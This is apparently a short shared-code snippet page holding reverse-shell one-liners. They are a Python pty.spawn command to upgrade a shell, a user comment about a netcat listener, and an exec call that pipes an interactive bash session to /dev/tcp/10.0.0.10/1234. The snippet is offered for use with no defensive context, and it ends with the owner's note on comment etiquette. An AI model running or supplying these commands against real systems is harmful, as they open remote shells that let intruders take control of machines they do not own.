Instantly share code, notes, and snippets.
python -c 'import pty; pty.spawn("/bin/bash")'
This shell was writing duplicate input when using a netcat listener.
removing the ampersand (&) solved my problem.
exec("/bin/bash -c 'bash -i > /dev/tcp/10.0.0.10/1234 0>&1'");
note for anybody coming across this for whatever reason: i have zero tolerance for inappropriate comments on this or any project i control. be kind, or leave.